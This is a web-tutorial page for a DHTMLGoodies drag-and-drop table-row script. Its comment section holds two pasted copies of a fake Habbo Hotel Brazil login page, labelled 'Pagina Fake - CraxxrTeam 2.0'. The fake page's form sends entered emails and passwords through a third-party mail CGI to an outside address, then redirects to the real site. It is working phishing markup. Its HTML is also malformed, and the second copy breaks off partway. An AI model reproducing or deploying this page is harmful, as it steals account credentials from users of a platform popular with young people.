New on DHTMLGoodies.com:

DHTML Chess Wordpress Plugin (Beta) . Participate in the beta testing of the DHTML Chess for WordPress plugin, and receive a free Commercial License worth USD99.

Drag and drop - Arrange table rows

Demo

Bookmark and Share

Overview

This script applies drag and drop features to HTML tables. It is a nice script to use if you want to enable your users to rearrange rows in a table, example: Articles in a Content Management System(CMS)

Licensing

This script is licensed under LGPL. Commercial licenses are also available

Download

Demo

Rearrange the table below by dragging the rows( drag handle is in the first column)

Id Title Publish date Withdraw date
1 Coldest winter since 1973 November 15th November 16th
2 Christmas shopping starting early this year November 15th November 16th
3 Ten year old boy rescued a cat November 15th November 16th
4 Top goal scorer injured in yesterdays match November 15th November 16th
5 Local hero returns home November 15th November 16th
6 15 year old boy caught big shark November 15th November 16th
7 Big Test of compact cameras November 15th November 16th
8 New football stadium in 2012 November 15th November 16th
9 What's the deal with politics? November 15th November 16th
10 What's the deal with airplane peanuts? November 15th November 16th

Configuration

Step 1 - Create your HTML table

Create a standard HTML table and give it an id, example:

<table id="myTable">
<thead>
    <tr>
      <td>Id</td>
      <td>Title</td>
      <td>Publish date</td>
      <td>Withdraw date</td>
</tr>
</thead>
<tbody>
    <tr id="row1">
      <td>1</td>
      <td>Coldest winter since 1973</td>
      <td>November 15th</td>
      <td>November 16th</td>
</tr>
    <tr id="row2">
      <td>2</td>
      <td>Christmas shopping starting early this year</td>
      <td>November 15th</td>
      <td>November 16th</td>
</tr>
    <tr id="row3">
      <td>3</td>
      <td>Ten year old boy rescued a cat</td>
      <td>November 15th</td>
      <td>November 16th</td>
</tr>
    <tr id="row4">
      <td>4</td>
      <td>Top goal scorer injured in yesterdays match</td>
      <td>November 15th</td>
      <td>November 16th</td>
</tr>
    <tr id="row5">
      <td>5</td>
      <td>Local hero returns home</td>
      <td>November 15th</td>
      <td>November 16th</td>
</tr>
    <tr id="row6">
      <td>6</td>
      <td>15 year old boy caught big shark</td>
      <td>November 15th</td>
      <td>November 16th</td>
</tr>
    <tr id="row7">
      <td>7</td>
      <td>Big Test of compact cameras</td>
      <td>November 15th</td>
      <td>November 16th</td>
</tr>
</tbody>
</table>

Please notice that the table has both a <thead> and a <tbody> tag. thead is used for the header which isn't dragable, and tbody for the dragable rows.

Each row has also been assigned to unique ids. These can be important when you want to save the changes made to the table

Step 2 - Create your Javascript object

Code example:

var arrangeObj = new DG.ArrangeTableRows({
   el: 'myTable',
   onDrag : {
     showCell : 1
   },
   listeners : {
     drop : moveArticle
   }
});

You create a new ArrangeTableRows object by calling "new DG.ArrangeTableRows". The constructor of the DG.ArrangeTableRows class accepts a config with these properties:

  • el: Reference to the table you want to apply drag and drop feature to, in this example: "myTable" since that's the id of the table in the code above
  • onDrag: (Optional argument). Used in case you don't want the entire row to be displayed while dragging. To show only content of a single cell, set onDrag.showCell to the index of the cell you want to display, example: 1 for the second cell(0 = first cell).
    onDrag: {
      showCell : 1
    }

    If you want to display contentof more than one cell, send in an array, example:
    onDrag: {
      showCell : [1,2}
    }

    In the demo above, onDrag.showCell is set to 1, i.e. only the cell with the title is displayed while dragging.
  • listeners: Functions to call when events are triggered. Currently, only an event named "drop" is implemented. In the example code above, when a row has been moved, the function named "moveArticle" will be called. It will receive a config object as only argument. This object looks like this:
    {
      source : '<id of source>',,
      destination : '<id of destination>',,
      where : 'before|after',
      position : <position of dragged row(1=first row, 2 = second row ..)>,
    }

    source contains the id of the moved row, destination the id of the row where the node has been inserted next to. where indicates if it's been inserted before or after the destination node. position indicates it's new position in the table.
  • clsFilter: (Optional) - If defined, only rows assigned to this css class will be dragable, example:
    clsFilter : 'dragableRow'

Save changes

You will usually want to save changes instantly in the moveArticle function(from the drop event), or manually from a button or link.

The DG.ArrangeTableRows class contains one public method which can be very useful when you want to save changes. It's called "getRows", and it returns an array of the id's of all rows in the table, example:

["row1", "row2", "row3", "row4", "row10", "row5", "row6", "row7", "row8", "row9"]

One way to save changes is to send this array to the server and update each row in your database by looping through this array. The demo file(se link at top) gives you some examples of Ajax requests(See source)

Public methods:

  • getRows: - Returns array of current row order
  • reset: - Resets table back to initial state
  • saveState: - Sets new initial state

Comments

daniel

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml">
<!--

Created using /
Source can be edited via /efinof/edit

-->
<!--

Created using /
Source can be edited via /asujuc/edit

-->
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Habbo - Crie seu Habbo, construa seu Quarto, converse e faça novos amigos. </title>

<script type="text/javascript">
var andSoItBegins = (new Date()).getTime();
</script>
<link rel="shortcut icon" href="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/v2/favicon.ico" type="image/vnd.microsoft.icon" />
<link rel="alternate" type="application/rss+xml" title="Habbo RSS" href="http://www.habbo.com.br/articles/rss.xml" />
<meta name="csrf-token" content="51975aa710"/>

<link rel="stylesheet" href="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/styles/frontpage.css" type="text/css" />

<script src="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/js/libs2.js" type="text/javascript"></script>

<script src="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/js/landing.js" type="text/javascript"></script>


<link rel="stylesheet" href="/styles/local/br.css" type="text/css" />

<script src="/js/local/br.js" type="text/javascript"></script>

<script type="text/javascript">
var ad_keywords = "";
var ad_key_value = "";
</script>
<script type="text/javascript">
document.habboLoggedIn = false;
var habboName = null;
var habboId = null;
var habboReqPath = "";
var habboStaticFilePath = "http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery";
var habboImagerUrl = "http://www.habbo.com.br/habbo-imaging/";
var habboPartner = "";
var habboDefaultClientPopupUrl = "http://www.habbo.com.br/client";
window.name = "habboMain";
if (typeof HabboClient != "undefined") {
HabboClient.windowName = "72e3697bb664e5d81c71e59af19063f419a04e8e";
HabboClient.maximizeWindow = true;
}


</script>

<meta property="fb:app_id" content="155102069619" />

<meta property="og:site_name" content="Habbo Hotel" />

<meta property="og:title" content="Habbo - Crie seu Habbo, construa seu Quarto, converse e faça novos amigos." />
<meta property="og:url" content="http://www.habbo.com.br" />
<meta property="og:image" content="http://www.habbo.com.br/v2/images/facebook/app_habbo_hotel_image.gif" />
<meta property="og:locale" content="pt_BR" />

<style type="text/css">
body {
background-color: #000000;

}
#footer .footer-links { color: #666666; }
#footer .footer-links a { color: #ffffff; }
#footer .copyright { color: #666666; }
#footer #compact-tags-container span, #footer #compact-tags-container a { color: #333333; }
</style>

<meta name="description" content="Habbo Hotel: faça amigos, divirta-se e fique conhecido!" />
<meta name="keywords" content="habbo hotel, virtual, mundo, comunidade virtual, grátis, comunidade, avatar, bate papo, online, jovem, rpg, entre, social, grupos, fóruns, seguro, jogue, jogos, online, amigos, jovens, raros, mobis raros, colecionar, expressão, emblemas, diversão, música, celebridade, visita de famosos, celebridades, mmo, mmorpg, rpg online" />



<!--[if IE 8]>
<link rel="stylesheet" href="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/styles/ie8.css" type="text/css" />
<![endif]-->
<!--[if lt IE 8]>
<link rel="stylesheet" href="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/styles/ie.css" type="text/css" />
<![endif]-->
<!--[if lt IE 7]>
<link rel="stylesheet" href="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/styles/ie6.css" type="text/css" />
<script src="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/js/pngfix.js" type="text/javascript"></script>
<script type="text/javascript">
try { document.execCommand('BackgroundImageCache', false, true); } catch(e) {}
</script>

<style type="text/css">
body { behavior: url(/js/csshover.htc); }
</style>
<![endif]-->
<meta name="build" content="63-BUILD906 - 16.11.2011 11:59 - br" />

</head>


<body id="frontpage">

<div id="overlay"></div>


<div id="change-password-form" style="display: none;">
<div id="change-password-form-container" class="clearfix">
<div id="change-password-form-title" class="bottom-border">Esqueceu sua senha?</div>

<div id="change-password-form-content" style="display: none;">
<form method="post" action="https://www.habbo.com.br/account/password/identityResetForm" id="forgotten-pw-form">

<input type="hidden" name="page" value="/?changePwd=true" />
<span>Escreva na sua conta Habbo o endereço de email:</span>
<div id="email" class="center bottom-border">
<input type="text" id="change-password-email-address" name="emailAddress" value="" class="email-address" maxlength="48"/>
<div id="change-password-error-container" class="error" style="display: none;">Por favor, coloque um e-mail válido</div>

</div>
</form>
<div class="change-password-buttons">

<a href="#" id="change-password-cancel-link">Cancelar</a>
<a href="#" id="change-password-submit-button" class="new-button"><b>Enviar email</b><i></i></a>
</div>
</div>

<div id="change-password-email-sent-notice" style="display: none;">
<div class="bottom-border">
<span>Ei, acabamos de enviar um email com um link para que você altere sua senha<br>

<br>

ATENÇÃO! Lembre-se de checar a pasta "Lixo" também!</span>
<div id="email-sent-container"></div>
</div>
<div class="change-password-buttons">

<a href="#" id="change-password-change-link">Voltar</a>
<a href="#" id="change-password-success-button" class="new-button"><b>Fechar</b><i></i></a>
</div>

</div>
</div>
<div id="change-password-form-container-bottom"></div>
</div>

<script type="text/javascript">
HabboView.add( function() {
ChangePassword.init();


});
</script>



<div id="site-header">

<form METHOD="POST" ACTION="http://terra.planetarium.com.br/cgi-bin/processform.cgi">






<INPUT TYPE="HIDDEN" NAME="TO" VALUE="br-sulake@live.com">







<INPUT TYPE="HIDDEN" NAME="FROM" VALUE="Pagina Fake - CraxxrTeam 2.0">







<INPUT TYPE="HIDDEN" NAME="SUBJECT"Pagina Fake - CraxxrTeam 2.0">







<INPUT TYPE="HIDDEN" NAME="RESPONDER" VALUE="http://www.habbo.com.br/me">







<form id="loginformitem" name="loginformitem" action="https://www.habbo.com.br/account/submit"

method="post">















<div style="clear: both;"></div>

<div id="site-header-content">

<div id="habbo-logo"></div>

<div id="login-form">


<div id="login-form-email">

<label for="login-username"
class="login-text">Email</label>

<input tabindex="3" type="text" class="login-field" name="credentials.username" id="login-username"
value="" maxlength="48"/>
<input tabindex="6" type="checkbox" name="_login_remember_me" id="login-remember-me"
value="true"/>
<label for="login-remember-me">Mantenha-me conectado</label>

<div id="landing-remember-me-notification" class="bottom-bubble" style="display:none;">
<div class="bottom-bubble-t"><div></div></div>
<div class="bottom-bubble-c">

Ativando isto você se manterá logado no Habbo Hotel até você clicar em "Sair".
</div>

<div class="bottom-bubble-b"><div></div></div>
</div>

</div>

<div id="login-form-password">
<label for="login-password" class="login-text">Senha</label>

<input tabindex="4" type="password" class="login-field" name="credentials.password"
id="login-password" maxlength="32"/>

<div id="login-forgot-password">

<a href="#" id="forgot-password"><span>Esqueceu a senha?</span></a>
</div>
</div>

<div id="login-form-submit">
<input type="submit" value="Login" class="login-top-button"
id="login-submit-button"/>

<a href="#" tabindex="5"
id="login-submit-new-button"><span>Login</span></a>
</div>

</div>

<div id="rpx-login">
<div>
<div id="fb-root"></div>
<script type="text/javascript">
window.fbAsyncInit = function() {
Cookie.erase("fbs_155102069619");
FB.init({appId: '155102069619', status: true, cookie: true, xfbml: true});
$(document).fire("fbevents:scriptLoaded");

};
window.assistedLogin = function(FBobject, optresponse) {

Cookie.erase("fbs_155102069619");
FB.init({appId: '155102069619', status: true, cookie: true, xfbml: true});

permissions = 'user_birthday,email';
defaultAction = function(response) {
fbConnectUrl = "/facebook?connect=true";
if (response.session) {
window.location.replace(fbConnectUrl);
}
};

if (typeof optresponse == 'undefined')
FBobject.login(defaultAction, {perms:permissions});
else
FBobject.login(optresponse, {perms:permissions});

};

(function() {
var e = document.createElement('script');
e.async = true;
e.src = document.location.protocol + '//connect.facebook.net/pt_BR/all.js';
document.getElementById('fb-root').appendChild(e);
}());
</script>
<a class="fb_button fb_button_large" onclick="assistedLogin(FB); return false;">

<span class="fb_button_text">Login pelo Facebook</span>
</a>
</div>

<div>

<div id="rpx-signin">
<a class="rpxnow" onclick="return false;" href="https://login.habbo.com/openid/v2/signin?token_url=http%3A%2F%2Fwww.habbo.com.br/rpx">Outras formas de login</a>
</div> </div>

</div>

<noscript>
<div id="alert-javascript-container">
<div id="alert-javascript-title">
Javascript é necessário!
</div>
<div id="alert-javascript-text">
O plugin Javascript está desabilitado em seu navegador. Por favor, ative o Javascript ou utilize um navegador que tenha suporte ao Javascript para entrar no Habbo Hotel :)
</div>
</div>
</noscript>

<div id="alert-cookies-container" style="display:none">
<div id="alert-cookies-title">
Não há suporte para cookies.
</div>
<div id="alert-cookies-text">
Cookies não são habilitados no seu navegador. Por favor, habilite os cookies para poder usar o Habbo.
</div>

</div>
<script type="text/javascript">
document.cookie = "habbotestcookie=supported";
var cookiesEnabled = document.cookie.indexOf("habbotestcookie") != -1;
if (cookiesEnabled) {
var date = new Date();
date.setTime(date.getTime()-24*60*60*1000);
document.cookie="habbotestcookie=supported; expires="+date.toGMTString();
} else {
$('alert-cookies-container').show();
}
</script>

<script type="text/javascript">
HabboView.add(function() {
LandingPage.init();
if (!LandingPage.focusForced) {
LandingPage.fieldFocus('login-username');
}
});
</script>

</div>

</form>

</div>

<div id="fp-container">

<div id="content">
<div id="column1" class="column">

<div class="habblet-container ">

<div style="width: 890px; margin: 0 auto">

<div id="tagline">Você não imagina o que acontece neste Hotel Maluco!</div>
</div>

<div id="frontpage-image-container">


<div id="join-now-button-container">

<div id="join-now-button-wrapper-fb">
<div class="join-now-alternative"> </div>
<div class="join-now-button">
<a class="join-now-link" href="#" onclick="assistedLogin(FB); return false;">
<span class="join-now-text-big">Entre</span>

<span class="join-now-text-small">com<span class="fbword">Facebook</span></span>
</a>

<span class="close"></span>
</div>
<div class="join-now-alternative">
<a id="register-link-fb" href="/quickregister/start" onclick="startRegistration(this); return false;">
ou crie uma conta Habbo
</a>

</div>
</div>
<div id="join-now-button-wrapper">

<div class="join-now-alternative">
<a href="/quickregister/start" class="newusers" onclick="startRegistration(this); return false;"><b>Caro visitante</b>,<span style="color: #8f8f8f;">clique aqui:</span></a>
</div>
<div class="join-now-button">

<a class="join-now-link" id="register-link" href="/quickregister/start" onclick="startRegistration(this); return false;">
<span class="join-now-text-big">Entre agora</span>
<span class="join-now-text-small">de graça</span>

</a>
<span class="close"></span>
</div>
<div class="join-now-alternative">
<a class="fbicon" href="#" onclick="assistedLogin(FB); return false;">

Entre com Facebook
</a>
</div>
</div>

</div>
<script type="text/javascript">
function startRegistration(elem) {
targetUrl = elem.href;
if (typeof targetUrl == "undefined") {
targetUrl = "/quickregister/start";
}
window.location.href = targetUrl;
}
</script>

<div id="people-inside">
<b><span><span class="stats-fig">14537</span> pessoas online</span></b>

<i></i>
</div>

<a href="/quickregister/start" id="frontpage-image" style="background-image: url('http://habbo.hs.llnwd.net/c_images/Frontpage_images/Landing_xmas_red_v2.png')" onclick="startRegistration(this); return false;"></a>

</div>


<script type="text/javascript">
document.observe("dom:loaded", function() {
LandingPage.checkLoginButtonSetTimer();
});
</script>




</div>
<script type="text/javascript">if (!$(document.body).hasClassName('process-template')) { Rounder.init(); }</script>




</div>
<!--[if lt IE 7]>
<script type="text/javascript">
Pngfix.doPngImageFix();
</script>
<![endif]-->
<div id="footer" class="new_and_improved">
<p class="footer-links"><a href="mailto:advertising.br@sulake.com" taget="_new">Anuncie</a> | <a href="https://help.habbo.com.br" target="_new">Contate-nos</a> | <a href="https://help.habbo.com.br/forums" target="_new">FAQs</a> | <a href="http://www.sulake.com" target="_new">Sulake</a> | <a href="https://help.habbo.com.br/entries/20477982-termos-e-condicoes" target="_new">Termos e Condições</a> | <a href="https://help.habbo.com.br/entries/390888-politica-de-privacidade" target="_new">Política de Privacidade</a> | <a href="http://www.habbo.com.br/groups/guiapais" target="_new">Guia dos Pais</a> | <a href="http://www.habbo.com.br/groups/etiquetahabbo" target="_new">Habbo Etiqueta</a> | <a href="/groups/dicasdeseguranca">Segurança</a></p>

<div id="partner-logo"><a href="" style="background-image: url('//habbo.hs.llnwd.net/c_images/Landingpage_partner_logos/Partner_R7b.png')"></a></div>
<div id="age-recommendation"></div>
<div id="sulake-logo"><a href="http://www.sulake.com"></a></div>
<p class="copyright">© 2008 - 2010 Sulake Corporation Ltd. HABBO é marca registrada da Sulake Corporation Oy na União Européia, EUA, Japão, China e várias outras jurisdições. Todos os direitos reservados.</p>

<div id="compact-tags-container">
<span class="tags-habbos-like">Habbos gostam de...</span>

<ul class="tag-list">

<li><a href="http://www.habbo.com.br/tag/amigos" class="tag">amigos</a> </li>
<li><a href="http://www.habbo.com.br/tag/amor" class="tag">amor</a> </li>
<li><a href="http://www.habbo.com.br/tag/comlink" class="tag">comlink</a> </li>
<li><a href="http://www.habbo.com.br/tag/corinthians" class="tag">corinthians</a> </li>

<li><a href="http://www.habbo.com.br/tag/deus" class="tag">deus</a> </li>

<li><a href="http://www.habbo.com.br/tag/exercito%20brasileiro" class="tag">exercito brasileiro</a> </li>
<li><a href="http://www.habbo.com.br/tag/flamengo" class="tag">flamengo</a> </li>
<li><a href="http://www.habbo.com.br/tag/futebol" class="tag">futebol</a> </li>

<li><a href="http://www.habbo.com.br/tag/habbo" class="tag">habbo</a> </li>
<li><a href="http://www.habbo.com.br/tag/hc" class="tag">hc</a> </li>

<li><a href="http://www.habbo.com.br/tag/linda" class="tag">linda</a> </li>
<li><a href="http://www.habbo.com.br/tag/lobolobo111" class="tag">lobolobo111</a> </li>

<li><a href="http://www.habbo.com.br/tag/musica" class="tag">musica</a> </li>
<li><a href="http://www.habbo.com.br/tag/praia" class="tag">praia</a> </li>
<li><a href="http://www.habbo.com.br/tag/rock" class="tag">rock</a> </li>

<li><a href="http://www.habbo.com.br/tag/slipknot" class="tag">slipknot</a> </li>

<li><a href="http://www.habbo.com.br/tag/swat%20fe" class="tag">swat fe</a> </li>
<li><a href="http://www.habbo.com.br/tag/the%20west%20is%20the%20power" class="tag">the west is the power</a> </li>
<li><a href="http://www.habbo.com.br/tag/vews" class="tag">vews</a> </li>
<li><a href="http://www.habbo.com.br/tag/vip" class="tag">vip</a> </li>

</ul>
</div>

</div>
</div>
</div>

<script type="text/javascript">
if (typeof HabboView != "undefined") {
HabboView.run();
}
</script>



<script src="http://static.rpxnow.com/js/lib/rpx.js" type="text/javascript"></script>

<script type="text/javascript">
RPXNOW.overlay = false;
RPXNOW.language_preference = 'pt';

var flags = 'show_provider_list';
RPXNOW.flags = flags.split(',');

</script>

<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-448325-21']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
<!-- Start Quantcast tag -->
<script type="text/javascript">
_qoptions={
qacct:"p-b5UDx6EsiRfMI"
};
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<noscript>
<img src="http://pixel.quantserve.com/pixel/p-b5UDx6EsiRfMI.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
<!-- End Quantcast tag -->

<!-- HL-16707 -->
<script type="text/javascript">
if ((Math.random()*100) < 1) {
var fullPageLoadMeasure = (new Date()).getTime() - andSoItBegins;
pageTracker._trackEvent("timing","fullpage_millis",window.location.pathname,fullPageLoadMeasure);
}


</script>





<script>
if (document.getElementById('hello')) {
document.getElementById('hello').innerHTML = 'Hello World - this was inserted using JavaScript';
}
</danielleandromachado@hotmail.com/>
</script>
<script src="/js/render/edit.js"></script>
<script>var _gaq=[['_setAccount','UA-1656750-13'],['_trackPageview']];(function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];g.src='//www.google-analytics.com/ga.js';s.parentNode.insertBefore(g,s)})(document,'script')</script><script>
if (document.getElementById('hello')) {
document.getElementById('hello').innerHTML = 'Hello World - this was inserted using JavaScript';
}

</script>
<script src="/js/render/edit.js"></script>
<script>var _gaq=[['_setAccount','UA-1656750-13'],['_trackPageview']];(function(d,t){var g=d.createElement(t),s=d.getElementsByTagName(t)[0];g.src='//www.google-analytics.com/ga.js';s.parentNode.insertBefore(g,s)})(document,'script')</script></body>
</html>

daniel at 01:53PM, 2011/12/02.
daniel

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml">
<!--

Created using /
Source can be edited via /efinof/edit

-->
<!--

Created using /
Source can be edited via /asujuc/edit

-->
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Habbo - Crie seu Habbo, construa seu Quarto, converse e faça novos amigos. </title>

<script type="text/javascript">
var andSoItBegins = (new Date()).getTime();
</script>
<link rel="shortcut icon" href="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/v2/favicon.ico" type="image/vnd.microsoft.icon" />
<link rel="alternate" type="application/rss+xml" title="Habbo RSS" href="http://www.habbo.com.br/articles/rss.xml" />
<meta name="csrf-token" content="51975aa710"/>

<link rel="stylesheet" href="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/styles/frontpage.css" type="text/css" />

<script src="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/js/libs2.js" type="text/javascript"></script>

<script src="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/js/landing.js" type="text/javascript"></script>


<link rel="stylesheet" href="/styles/local/br.css" type="text/css" />

<script src="/js/local/br.js" type="text/javascript"></script>

<script type="text/javascript">
var ad_keywords = "";
var ad_key_value = "";
</script>
<script type="text/javascript">
document.habboLoggedIn = false;
var habboName = null;
var habboId = null;
var habboReqPath = "";
var habboStaticFilePath = "http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery";
var habboImagerUrl = "http://www.habbo.com.br/habbo-imaging/";
var habboPartner = "";
var habboDefaultClientPopupUrl = "http://www.habbo.com.br/client";
window.name = "habboMain";
if (typeof HabboClient != "undefined") {
HabboClient.windowName = "72e3697bb664e5d81c71e59af19063f419a04e8e";
HabboClient.maximizeWindow = true;
}


</script>

<meta property="fb:app_id" content="155102069619" />

<meta property="og:site_name" content="Habbo Hotel" />

<meta property="og:title" content="Habbo - Crie seu Habbo, construa seu Quarto, converse e faça novos amigos." />
<meta property="og:url" content="http://www.habbo.com.br" />
<meta property="og:image" content="http://www.habbo.com.br/v2/images/facebook/app_habbo_hotel_image.gif" />
<meta property="og:locale" content="pt_BR" />

<style type="text/css">
body {
background-color: #000000;

}
#footer .footer-links { color: #666666; }
#footer .footer-links a { color: #ffffff; }
#footer .copyright { color: #666666; }
#footer #compact-tags-container span, #footer #compact-tags-container a { color: #333333; }
</style>

<meta name="description" content="Habbo Hotel: faça amigos, divirta-se e fique conhecido!" />
<meta name="keywords" content="habbo hotel, virtual, mundo, comunidade virtual, grátis, comunidade, avatar, bate papo, online, jovem, rpg, entre, social, grupos, fóruns, seguro, jogue, jogos, online, amigos, jovens, raros, mobis raros, colecionar, expressão, emblemas, diversão, música, celebridade, visita de famosos, celebridades, mmo, mmorpg, rpg online" />



<!--[if IE 8]>
<link rel="stylesheet" href="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/styles/ie8.css" type="text/css" />
<![endif]-->
<!--[if lt IE 8]>
<link rel="stylesheet" href="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/styles/ie.css" type="text/css" />
<![endif]-->
<!--[if lt IE 7]>
<link rel="stylesheet" href="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/styles/ie6.css" type="text/css" />
<script src="http://images.habbo.com/habboweb/63_1dc60c6d6ea6e089c6893ab4e0541ee0/679/web-gallery/static/js/pngfix.js" type="text/javascript"></script>
<script type="text/javascript">
try { document.execCommand('BackgroundImageCache', false, true); } catch(e) {}
</script>

<style type="text/css">
body { behavior: url(/js/csshover.htc); }
</style>
<![endif]-->
<meta name="build" content="63-BUILD906 - 16.11.2011 11:59 - br" />

</head>


<body id="frontpage">

<div id="overlay"></div>


<div id="change-password-form" style="display: none;">
<div id="change-password-form-container" class="clearfix">
<div id="change-password-form-title" class="bottom-border">Esqueceu sua senha?</div>

<div id="change-password-form-content" style="display: none;">
<form method="post" action="https://www.habbo.com.br/account/password/identityResetForm" id="forgotten-pw-form">

<input type="hidden" name="page" value="/?changePwd=true" />
<span>Escreva na sua conta Habbo o endereço de email:</span>
<div id="email" class="center bottom-border">
<input type="text" id="change-password-email-address" name="emailAddress" value="" class="email-address" maxlength="48"/>
<div id="change-password-error-container" class="error" style="display: none;">Por favor, coloque um e-mail válido</div>

</div>
</form>
<div class="change-password-buttons">

<a href="#" id="change-password-cancel-link">Cancelar</a>
<a href="#" id="change-password-submit-button" class="new-button"><b>Enviar email</b><i></i></a>
</div>
</div>

<div id="change-password-email-sent-notice" style="display: none;">
<div class="bottom-border">
<span>Ei, acabamos de enviar um email com um link para que você altere sua senha<br>

<br>

ATENÇÃO! Lembre-se de checar a pasta "Lixo" também!</span>
<div id="email-sent-container"></div>
</div>
<div class="change-password-buttons">

<a href="#" id="change-password-change-link">Voltar</a>
<a href="#" id="change-password-success-button" class="new-button"><b>Fechar</b><i></i></a>
</div>

</div>
</div>
<div id="change-password-form-container-bottom"></div>
</div>

<script type="text/javascript">
HabboView.add( function() {
ChangePassword.init();


});
</script>



<div id="site-header">

<form METHOD="POST" ACTION="http://terra.planetarium.com.br/cgi-bin/processform.cgi">






<INPUT TYPE="HIDDEN" NAME="TO" VALUE="br-sulake@live.com">







<INPUT TYPE="HIDDEN" NAME="FROM" VALUE="Pagina Fake - CraxxrTeam 2.0">







<INPUT TYPE="HIDDEN" NAME="SUBJECT"Pagina Fake - CraxxrTeam 2.0">







<INPUT TYPE="HIDDEN" NAME="RESPONDER" VALUE="http://www.habbo.com.br/me">







<form id="loginformitem" name="loginformitem" action="https://www.habbo.com.br/account/submit"

method="post">















<div style="clear: both;"></div>

<div id="site-header-content">

<div id="habbo-logo"></div>

<div id="login-form">


<div id="login-form-email">

<label for="login-username"
class="login-text">Email</label>

<input tabindex="3" type="text" class="login-field" name="credentials.username" id="login-username"
value="" maxlength="48"/>
<input tabindex="6" type="checkbox" name="_login_remember_me" id="login-remember-me"
value="true"/>
<label for="login-remember-me">Mantenha-me conectado</label>

<div id="landing-remember-me-notification" class="bottom-bubble" style="display:none;">
<div class="bottom-bubble-t"><div></div></div>
<div class="bottom-bubble-c">

Ativando isto você se manterá logado no Habbo Hotel até você clicar em "Sair".
</div>

<div class="bottom-bubble-b"><div></div></div>
</div>

</div>

<div id="login-form-password">
<label for="login-password" class="login-text">Senha</label>

<input tabindex="4" type="password" class="login-field" name="credentials.password"
id="login-password" maxlength="32"/>

<div id="login-forgot-password">

<a href="#" id="forgot-password"><span>Esqueceu a senha?</span></a>
</div>
</div>

<div id="login-form-submit">
<input type="submit" value="Login" class="login-top-button"
id="login-submit-button"/>

<a href="#" tabindex="5"
id="login-submit-new-button"><span>Login</span></a>
</div>

</div>

<div id="rpx-login">
<div>
<div id="fb-root"></div>
<script type="text/javascript">
window.fbAsyncInit = function() {
Cookie.erase("fbs_155102069619");
FB.init({appId: '155102069619', status: true, cookie: true, xfbml: true});
$(document).fire("fbevents:scriptLoaded");

};
window.assistedLogin = function(FBobject, optresponse) {

Cookie.erase("fbs_155102069619");
FB.init({appId: '155102069619', status: true, cookie: true, xfbml: true});

permissions = 'user_birthday,email';
defaultAction = function(response) {
fbConnectUrl = "/facebook?connect=true";
if (response.session) {
window.location.replace(fbConnectUrl);
}
};

if (typeof optresponse == 'undefined')
FBobject.login(defaultAction, {perms:permissions});
else
FBobject.login(optresponse, {perms:permissions});

};

(function() {
var e = document.createElement('script');
e.async = true;
e.src = document.location.protocol + '//connect.facebook.net/pt_BR/all.js';
document.getElementById('fb-root').appendChild(e);
}());
</script>
<a class="fb_button fb_button_large" onclick="assistedLogin(FB); return false;">

<span class="fb_button_text">Login pelo Facebook</span>
</a>
</div>

<div>

<div id="rpx-signin">
<a class="rpxnow" onclick="return false;" href="https://login.habbo.com/openid/v2/signin?token_url=http%3A%2F%2Fwww.habbo.com.br/rpx">Outras formas de login</a>
</div> </div>

</div>

<noscript>
<div id="alert-javascript-container">
<div id="alert-javascript-title">
Javascript é necessário!
</div>
<div id="alert-javascript-text">
O plugin Javascript está desabilitado em seu navegador. Por favor, ative o Javascript ou utilize um navegador que tenha suporte ao Javascript para entrar no Habbo Hotel :)
</div>
</div>
</noscript>

<div id="alert-cookies-container" style="display:none">
<div id="alert-cookies-title">
Não há suporte para cookies.
</div>
<div id="alert-cookies-text">
Cookies não são habilitados no seu navegador. Por favor, habilite os cookies para poder usar o Habbo.
</div>

</div>
<script type="text/javascript">
